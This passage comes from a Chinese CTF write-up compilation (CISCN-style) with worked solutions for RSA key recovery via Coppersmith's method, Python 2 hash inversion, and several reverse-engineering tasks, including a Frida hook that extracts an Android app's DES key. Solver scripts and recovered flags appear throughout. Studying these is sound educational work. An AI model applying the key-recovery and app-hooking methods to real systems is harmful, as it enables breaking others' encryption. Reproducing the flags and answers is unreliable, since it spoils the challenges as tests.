拿到 flag{b2bb0873-8cae-4977-a6de-0e298f0744c3}

3.ez_rsa

题目描述:
ezrsa.py:
from Crypto.Util.number import *
from Crypto.PublicKey import RSA
import random
from secret import flag

m = bytes_to_long(flag)
key = RSA.generate(1000)
passphrase = str(random.randint(0,999999)).zfill(6).encode()
output = key.export_key(passphrase=passphrase).split(b'\n')
for i in range(7, 15):
    output[i] = b'*' * 64
with open("priv.pem", 'wb') as f:
    for line in output:
        f.write(line + b'\n')
with open("enc.txt", 'w') as f:
    f.write(str(key._encrypt(m)))

enc.txt:
55149764057291700808946379593274733093556529902852874590948688362865310469901900909075397929997623185589518643636792828743516623112272635512151466304164301360740002369759704802706396320622342771513106879732891498365431042081036698760861996177532930798842690295051476263556258192509634233232717503575429327989
priv.pem:
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,435BF84C562FE793

9phAgeyjnJYZ6lgLYflgduBQjdX+V/Ph/fO8QB2ZubhBVOFJMHbwHbtgBaN3eGlh
WiEFEdQWoOFvpip0whr4r7aGOhavWhIfRjiqfQVcKZx4/f02W4pcWVYo9/p3otdD
ig+kofIR9Ky8o9vQk7H1eESNMdq3PPmvd7KTE98ZPqtIIrjbSsJ9XRL+gr5a91gH
****************************************************************
****************************************************************
****************************************************************
****************************************************************
****************************************************************
****************************************************************
****************************************************************
****************************************************************
hQds7ZdA9yv+yKUYv2e4de8RxX356wYq7r8paBHPXisOkGIVEBYNviMSIbgelkSI
jLQka+ZmC2YOgY/DgGJ82JmFG8mmYCcSooGL4ytVUY9dZa1khfhceg==
-----END RSA PRIVATE KEY-----
题目分析:
第一部分先略过吧,不想看
直接跳到后面阶段
得到的数据有:
n = 0x00a18f011bebacceda1c6812730b9e62720d3cbd6857af2cf8431860f5dc83c5520f242f3be7c9e96d7f96b41898ff000fdb7e43ef6f1e717b2b7900f35660a21d1b16b51849be97a0b0f7cbcf5cfe0f00370cce6193fefa1fed97b37bd367a673565162ce17b0225708c032961d175bbc2c829bf2e16eabc7e0881feca0975c81
e = 0x10001
inv = 0x5f152c429871a7acdd28be1b643b4652800b88a3d23cc57477d75dd5555b635167616ef5c609d69ce3c2aedcb03b62f929bbcd891cadc0ba031ae6fec8a2116d
dqlow = 0x8f2363b340e5

4.checkin

题目描述:
from Crypto.Util.number import *
from secret import flag

p = getPrime(512)
q = getPrime(512)
n = p*q
x = 2021*p+1120*q
h = (inverse(x,n)+x)%n
e = 65537
c = pow(bytes_to_long(flag), e, n)

print('n =', n)
print('c =', c)
print('h =', h)
print('p0 =', p >> 490)

# n = 124592923216765837982528839202733339713655242872717311800329884147642320435241014134533341888832955643881019336863843062120984698416851559736918389766033534214383285754683751490292848191235308958825702189602212123282858416891155764271492033289942894367802529296453904254165606918649570613530838932164490341793
# c = 119279592136391518960778700178474826421062018379899342254406783670889432182616590099071219538938202395671695005539485982613862823970622126945808954842683496637377151180225469409261800869161467402364879561554585345399947589618235872378329510108345004513054262809629917083343715270605155751457391599728436117833
# h = 115812446451372389307840774747986196103012628652193338630796109042038320397499948364970459686079508388755154855414919871257982157430015224489195284512204803276307238226421244647463550637321174259849701618681565567468929295822889537962306471780258801529979716298619553323655541002084406217484482271693997457806
# p0 = 4055618
题目分析:
已知:
现在的重点是small_roots()里面的参数要怎么设置
先来点前置知识(怕自己又忘了):
在方程F(x),模数N确认的情况下,我们可以通过增加 β \betaβ 的取值或减小 ϵ \epsilonϵ 的取值,使得X取到更优的上界。
现在,已知d = 2,beta = 1,X有500位未知,我们取epsilon = 0.01是完成能够得到结果的,但我们也知道epsilon越小,耗时越长,我们试着把epsilon调大一点,让epsilon = 0.02,看看能否出结果。经过测试也是能出结果的,那么就用它啦
把x_diff求出来了,后面就简单了,这也就不多说了
from Crypto.Util.number import long_to_bytes

N = 124592923216765837982528839202733339713655242872717311800329884147642320435241014134533341888832955643881019336863843062120984698416851559736918389766033534214383285754683751490292848191235308958825702189602212123282858416891155764271492033289942894367802529296453904254165606918649570613530838932164490341793
c = 119279592136391518960778700178474826421062018379899342254406783670889432182616590099071219538938202395671695005539485982613862823970622126945808954842683496637377151180225469409261800869161467402364879561554585345399947589618235872378329510108345004513054262809629917083343715270605155751457391599728436117833
h = 115812446451372389307840774747986196103012628652193338630796109042038320397499948364970459686079508388755154855414919871257982157430015224489195284512204803276307238226421244647463550637321174259849701618681565567468929295822889537962306471780258801529979716298619553323655541002084406217484482271693997457806
p0 = 4055618

p_high = p0 << 490
x0 = 2021 * p_high + 1120 * (N // p_high)

P.<x_diff> = PolynomialRing(Zmod(N))
f = (x0 + x_diff)^2 + 1 - h * (x0 + x_diff)

res = f.small_roots(X = 2^500, epsilon = 0.02)
x_diff = Integer(res[0])

x = x0 + x_diff

p = var('p')
q = var('q')
res = solve([x == 2021 * p + 1120 * q, N == p * q], p, q)
print(res)
p = Integer(res[0][0].rhs()) # 提取等号右边部分
q = Integer(res[0][1].rhs())

d = inverse_mod(65537, (p - 1) * (q - 1))
print(long_to_bytes(int(pow(c,d,N))))
进入主题
国赛ez_rsa
题目描述:
(就截取这么一点点了)
n = 0x00a18f011bebacceda1c6812730b9e62720d3cbd6857af2cf8431860f5dc83c5520f242f3be7c9e96d7f96b41898ff000fdb7e43ef6f1e717b2b7900f35660a21d1b16b51849be97a0b0f7cbcf5cfe0f00370cce6193fefa1fed97b37bd367a673565162ce17b0225708c032961d175bbc2c829bf2e16eabc7e0881feca0975c81
e = 65537
inv = 0x5f152c429871a7acdd28be1b643b4652800b88a3d23cc57477d75dd5555b635167616ef5c609d69ce3c2aedcb03b62f929bbcd891cadc0ba031ae6fec8a2116d
dqlow = 0x8f2363b340e5

题目分析:

方式1

解方程的过程和上题的思路应该来说是一样的
这里也是d = 2,beta = 1,所以关键部分还是落在了epsilon 的取值上,这个就自己去生成数据测一测,从0.05往上加,发现到0.09以后解集为空,那么设置成0.09就行
from Crypto.Util.number import *
from tqdm import *

n = 0x00a18f011bebacceda1c6812730b9e62720d3cbd6857af2cf8431860f5dc83c5520f242f3be7c9e96d7f96b41898ff000fdb7e43ef6f1e717b2b7900f35660a21d1b16b51849be97a0b0f7cbcf5cfe0f00370cce6193fefa1fed97b37bd367a673565162ce17b0225708c032961d175bbc2c829bf2e16eabc7e0881feca0975c81
e = 0x010001
dqlow = 0x8f2363b340e5
inv = 0x5f152c429871a7acdd28be1b643b4652800b88a3d23cc57477d75dd5555b635167616ef5c609d69ce3c2aedcb03b62f929bbcd891cadc0ba031ae6fec8a2116d
c = 55149764057291700808946379593274733093556529902852874590948688362865310469901900909075397929997623185589518643636792828743516623112272635512151466304164301360740002369759704802706396320622342771513106879732891498365431042081036698760861996177532930798842690295051476263556258192509634233232717503575429327989
bits = 48

PR.<x> = PolynomialRing(Zmod(n))
dq = (2 ^ bits * x) + dqlow
# k = 47794
for k in trange(e,1,-1):
    f = inv * (e * (2 ^ bits * x + dqlow) - 1 + k) ^ 2 - k * (e * (2 ^ T * x + dqlow) - 1 + k)
    f = f.monic()
    root = f.small_roots(X=2 ^ (512 - bits), epsilon = 0.09)
    if root:
        dq = int(root[0]) * 2 ** bits + dqlow
        q = int((e * dq - 1) // k + 1)
        p = int(n // q)
        phi = (p - 1) * (q - 1)
        d = inverse_mod(e,phi)
        print(long_to_bytes(int(pow(c,d,n))))
        break



from Crypto.Util.number import long_to_bytes

方式2
from tqdm import *
from Crypto.Util.number import *
n = 0x00a18f011bebacceda1c6812730b9e62720d3cbd6857af2cf8431860f5dc83c5520f242f3be7c9e96d7f96b41898ff000fdb7e43ef6f1e717b2b7900f35660a21d1b16b51849be97a0b0f7cbcf5cfe0f00370cce6193fefa1fed97b37bd367a673565162ce17b0225708c032961d175bbc2c829bf2e16eabc7e0881feca0975c81
inv = 0x5f152c429871a7acdd28be1b643b4652800b88a3d23cc57477d75dd5555b635167616ef5c609d69ce3c2aedcb03b62f929bbcd891cadc0ba031ae6fec8a2116d
c = 55149764057291700808946379593274733093556529902852874590948688362865310469901900909075397929997623185589518643636792828743516623112272635512151466304164301360740002369759704802706396320622342771513106879732891498365431042081036698760861996177532930798842690295051476263556258192509634233232717503575429327989
dq_low = 0x8f2363b340e5
q_low = []
bits = 48
e = 65537
qq = var('qq')

PR.<x> = PolynomialRing(Zmod(n))
# k = 47794
for k in trange(e,1,-1):
    k = 47794
    q0 = solve_mod([e * dq_low == k * qq - k + 1], 2^bits)
    for i in q0:
        f = inv * (2 ^ bits * x + int(i[0])) ^ 2 - (2 ^ bits * x + int(i[0]))
        f = f.monic()
        root = f.small_roots(X = 2^(512-bits), epsilon = 0.09)
        if root:
            q = 2^bits * int(root[0]) + int(i[0])
            p = n // q
            d = inverse_mod(e,(p - 1) * (q - 1))
            print(long_to_bytes(int(pow(c,d,n))))
            break
            
# flag{df4a4054-23eb-4ba4-be5e-15b247d7b819}

5.hash

题目描述
你能仅仅通过一个Python2.7自带的hash函数的输出,计算出它的原象的sha384哈希值吗?
解题思路
将压缩包解压后,含有两个文件,分别是 hash.py 、 output.txt 。
hash.py
#!/usr/bin/python2
# Python 2.7 (64-bit version)
from secret import flag
import os, binascii, hashlib
key = os.urandom(7)
print hash(key)
print int(hashlib.sha384(binascii.hexlify(key)).hexdigest(), 16) ^ int(binascii.hexlify(flag), 16)
output.txt
7457312583301101235
13903983817893117249931704406959869971132956255130487015289848690577655239262013033618370827749581909492660806312017
output.txt 的两行数据分别是 hash.py 中的两行输出。
根据源代码逻辑,可以知道首要问题是如何将 k e y keykey 的密文,解密出原文。
通过查询 python2.7 的内置 hash 函数,可以搜索到相关信息:
python3 中的 hash 函数相对于 python2 ,不同在于 python3 中会对要加密的字符串的运算添加 prefix 和 suffix ,而 python2 默认不会添加。
通过 github 上 python2.7 开源代码,找到 python2.7 中 str 类型的 hash 计算源码,部分代码如下:
static long
string_hash(PyStringObject *a)
{
    register Py_ssize_t len;
    register unsigned char *p;
    register long x;

#ifdef Py_DEBUG
    assert(_Py_HashSecret_Initialized);
#endif
    if (a->ob_shash != -1)
        return a->ob_shash;
    len = Py_SIZE(a);
    /*
      We make the hash of the empty string be 0, rather than using
      (prefix ^ suffix), since this slightly obfuscates the hash secret
    */
    if (len == 0) {
        a->ob_shash = 0;
        return 0;
    }
    p = (unsigned char *) a->ob_sval;
    x = _Py_HashSecret.prefix;
    x ^= *p << 7;
    while (--len >= 0)
        x = (1000003*x) ^ *p++;
    x ^= Py_SIZE(a);
    x ^= _Py_HashSecret.suffix;
    if (x == -1)
        x = -2;
    a->ob_shash = x;
    return x;
}
将其逻辑再编写成一个简易的函数方便测试,代码如下:
ll h(char *s, ll len) {
    ll res = 0;
    res ^= (s[0] << 7LL);
    for(int i = 0; i < len; ++i) {
        res = (res * 1000003ull) ^ (unsigned )s[i];
    }
    res ^= len;
    return res;
}
现在进行解密算法的寻找,可以解密关键在于将表达式
解密代码如下:
vector<unsigned> uh(ull d) {
    d ^= 7;
    ull res = d;
    
    for(ull i7 = 0; i7 < 256u; ++i7)
    for(ull i6 = 0; i6 < 256u; ++i6)
    for(ull i5 = 0; i5 < 256u; ++i5) {
        ull res_6 = (res ^ i7) * iv; //iv 是1000003在模数2^64下的逆元
        ull res_5 = (res_6 ^ i6) * iv;
        ull res_4 = (res_5 ^ i5) * iv;
        vector<int> a(3);
        a[0] = i7;
        a[1] = i6;
        a[2] = i5;
        Hashmap[res_4] = a;
    }

    for(ull i1 = 0; i1 < 256u; ++i1)
    for(ull i2 = 0; i2 < 256u; ++i2)
    for(ull i3 = 0; i3 < 256u; ++i3)
    for(ull i4 = 0; i4 < 256u; ++i4) {
        ull res_1 = ((i1 << 7) * v) ^ i1; //v 是1000003
        ull res_2 = (res_1 * v) ^ i2;
        ull res_3 = (res_2 * v) ^ i3;
        ull res_4 = (res_3 * v) ^ i4;
        if(Hashmap.find(res_4)!=Hashmap.end()){
            return vector<unsigned>{i1,i2,i3,i4,Hashmap[res_4][2], Hashmap[res_4][1], Hashmap[res_4][0]};
        }
    }
}
具体公式推导涉及同余方程、逆元等知识。
代码运行完毕得到密文的 ascii 为 93 140 240 63 90 8 82
key = ']\x8c\xf0?Z\x08R'
pre = int(hashlib.sha384(binascii.hexlify(key)).hexdigest(), 16)
ans = 13903983817893117249931704406959869971132956255130487015289848690577655239262013033618370827749581909492660806312017
flag = ans ^ pre
flag = hex(flag)
print flag
flag 的16进制为 666c61677b62646235333761612d383765662d346539352d626561342d3266373932353962646430377d
使用在线16进制转字符网站计算,得到 flag 原文为 flag{bdb537aa-87ef-4e95-bea4-2f79259bdd07} 
    

四、Reverse

1、asm_re

下载得到txt文件,打开发现是ida跑出来的arm的汇编代码,再结合题目名称,这题应该是要读汇编代码了
找到关键部分,整理一下
数据存在__const段里,注意小端法提取一下
然后就可以脚本解出了
exp:
decodechr=''
flag=''
enc=[0x1fd7,0x21b7,0x1e47,0x2027,0x26e7,0x10d7,0x1127,0x2007,0x11c7,0x1e47,0x1017,0x1017,0x11f7,0x2007,0x1037,0x1107,0x1f17,0x10d7,0x1017,0x1017,0x1f67,0x1017,0x11c7,0x11c7,0x1017,0x1fd7,0x1f17,0x1107,0x0f47,0x1127,0x1037,0x1e47,0x1037,0x1fd7,0x1107,0x1fd7,0x1107,0x2787]
for i in enc:
    decodechr=chr((((i-0x1e)^0x4d)-0x14) // 0x50)
    flag+=decodechr
print((flag))
'
运行运行
拿到:flag{67e9a228e45b622c2992fb5174a4f5f5}

2、androidso_re

用jadx打开,定位到mainactivity

使用函数legal进行了判断,函数里使用了方法inspect,查看一下

这里关键的两个参数就是key和iv,解压安装包看看so

直接hook
function main() {
        Java.perform(function () {
    
            Java.enumerateClassLoaders({
                onMatch: function (loader) {
                    try {
    
                        var factory = Java.ClassFactory.get(loader);
                        var CheckerClass = factory.use("com.example.re11113.inspect");
                        var key = CheckerClass.getKey();
                        console.log("Key: " + key);
    
                    } catch (e) {
                        // console.log("Error accessing class or method: " + e);
                    }
                },
                onComplete: function () {}
            });
    
        });
    }
    
    setTimeout(main,1000);
 
package ciscn;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.nio.charset.StandardCharsets;
import java.util.Arrays;
import java.util.Base64;
 
public class FlagDecryptor {
 
    private static final String ALGORITHM = "DES/CBC/PKCS5Padding";
    private static final String CHARSET = StandardCharsets.UTF_8.name();
 
    public static void main(String[] args) {
        try {
            String encryptedFlag = "JqslHrdvtgJrRs2QAp+FEVdwRPNLswrnykD/sZMivmjGRKUMVIC/rw==";
            String decryptedString = decryptFlag(encryptedFlag);
            System.out.println("Decrypted string: " + decryptedString);
        } catch (Exception e) {
            System.err.println("Decryption failed: " + e.getMessage());
        }
    }
 
    private static String decryptFlag(String encryptedFlag) throws Exception {
        byte[] keyBytes = JniUtils.getKey().getBytes(CHARSET);
        byte[] ivBytes = JniUtils.getIv().getBytes(CHARSET);
 
        SecretKeySpec key = new SecretKeySpec(Arrays.copyOf(keyBytes, 8), "DES");
        IvParameterSpec iv = new IvParameterSpec(ivBytes);
 
        Cipher cipher = Cipher.getInstance(ALGORITHM);
        cipher.init(Cipher.DECRYPT_MODE, key, iv);
 
        byte[] encryptedBytes = Base64.getDecoder().decode(encryptedFlag);
        byte[] decryptedBytes = cipher.doFinal(encryptedBytes);
 
        return new String(decryptedBytes, CHARSET);
    }
 
    static class JniUtils {
        public static String getKey() {
            return "A8UdWaeq";
        }
 
        public static String getIv() {
            return "Wf3DLups";
        }
    }
}


flag{188cba3a5c0fbb2250b5a2e590c391ce}

3、whereThel1b

打开py文件
逻辑很清晰,主要的加密内容肯定是在so文件里面
这个文件有很强的python编译特征,可以考虑进行反编译
特征函数,编写exp:

import base64
import random
 
random.seed(0)
 
encry = [108, 117, 72, 80, 64, 49, 99, 19, 69, 115, 94, 93, 94, 115, 71, 95, 84, 89, 56, 101, 70, 2, 84, 75, 127, 68, 103, 85, 105, 113, 80, 103, 95, 67, 81, 7, 113, 70, 47, 73, 92, 124, 93, 120, 104, 108, 106, 17, 80, 102, 101, 75, 93, 68, 121, 26]
keys = [random.randint(0, len(encry)) for _ in range(len(encry))]
flag = [k ^ e for k, e in zip(keys, encry)]
decoded_flag = base64.b64decode(''.join(map(chr, flag)).encode()).decode()
 
print(decoded_flag)
'
运行运行
 flag{7f9a2d3c-07de-11ef-be5e-cf1e88674c0b}

4.gdb_debug

用IDA反编译,定位main函数,可以发现程序逻辑为:
在这里插入图片描述
输入str,将str每一个字符异或一个随机数,得到str2
在这里插入图片描述

定义str3,随机交换洗牌,得到一个0-38的随机不重复的序列
在这里插入图片描述


根据str3,得到str4,使得str4[i]=str2[str[3]]
在这里插入图片描述
将str4每一个字符异或一个随机数
在这里插入图片描述


根据str4,得到s1,使得s1[i]=str4[i]^byte_5636B30010A0,其中byte_5636B30010A0固定且已给出
在这里插入图片描述
将s1与s2作对比,若相同,则输入flag正确,其中s2为"congratulationstoyoucongratulationstoy"
在这里插入图片描述

这个程序的特性在于,在置随机数种子时,使用的是当前时间按位与0xF0000000的结果为种子,使得种子在很长一段时间执行时都相同。
在这里插入图片描述

基于此,我们可以提前求出要用到的随机数(要在Linux系统上运行,与Win的rand()逻辑不同):

srand(((int)time(0))& 0xF0000000);
char rand1[38];
unsigned int rand2[38],rand3[38];
for(int i=0;i<len;i++)
{
    rand1[i] = rand();
    // cout << (unsigned int)(rand1[i]&0xff) << " ";
}
for(int i=len-1;i;--i)
{
    rand2[i] = rand()%(i+1);
    // cout << (unsigned int)(rand2[i]&0xff) << " ";
}
for(int i=0;i<len;i++)
{
    rand3[i] = rand();
}
然后根据上面所述步骤,反过来计算一遍,完整代码如下:
# Run in linux
#include <iostream>
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <cctype>
#include <cmath>
#include <vector>
#include <algorithm>
#include <stack>
#include <set>
#include <map>
#include <ctime>
#include <unistd.h>
#include "defs.h"
// #include <bits/stdc++.h>

using namespace std;
typedef long long LL;
typedef long double DD;

int main()
{
    srand(((int)time(0))& 0xF0000000);
    char s2[] = "congratulationstoyoucongratulationstoy";
    unsigned char byte_10A0[] = {
        0xBF, 0xD7, 0x2E, 0xDA, 0xEE, 0xA8, 0x1A, 0x10, 0x83, 0x73, 0xAC, 0xF1, 0x06, 0xBE, 0xAD, 0x88, 
        0x04, 0xD7, 0x12, 0xFE, 0xB5, 0xE2, 0x61, 0xB7, 0x3D, 0x07, 0x4A, 0xE8, 0x96, 0xA2, 0x9D, 0x4D, 
        0xBC, 0x81, 0x8C, 0xE9, 0x88, 0x78, 0x00, 0x00
    };
    char rand1[38];
    unsigned int rand2[38],rand3[38];
    int len = strlen(s2);
    cout << "len:" << len << endl;
    for(int i=0;i<len;i++)
    {
        rand1[i] = rand();
        // cout << (unsigned int)(rand1[i]&0xff) << " ";
    }
    for(int i=len-1;i;--i)
    {
        rand2[i] = rand()%(i+1);
        // cout << (unsigned int)(rand2[i]&0xff) << " ";
    }
    for(int i=0;i<len;i++)
    {
        rand3[i] = rand();
    }
    
    for(int i=0;i<len;i++)
    {
        s2[i] ^= byte_10A0[i];
    }

    for(int i=0;i<len;i++)
    {
        s2[i] ^= rand3[i];
    }

    int str3[39];
    for(int i=0;i<len;i++)
    {
        str3[i] = i;
    }

    for(int i=len-1;i;--i)
    {
        int temp = str3[i];
        str3[i] = str3[rand2[i]];
        str3[rand2[i]] = temp;
    }

    //s2[i]=str2[str3[i]];
    char str2[39] = {0};
    for(int i=0;i<len;i++)
    {
        str2[str3[i]] = s2[i];
    }
    for(int i=0;i<len;i++)
    {
        str2[i] ^= rand1[i];
    }
    cout << str2;
    
    return 0; //-22 61 13 92
}
在Linux上运行,得到flag:
在这里插入图片描述






参考转自原文连接地址:
https://blog.csdn.net/CHTXRT/article/details/139051214
https://blog.csdn.net/uuzeray/article/details/139052904
https://xz.aliyun.com/t/14556

https://blog.csdn.net/CHTXRT/article/details/139051214
https://blog.csdn.net/Myon5/article/details/139046502
https://blog.csdn.net/althumi/article/details/139077709
posted @ 2024-10-04 22:55  渗透测试中心  阅读(56)  评论(0编辑  收藏  举报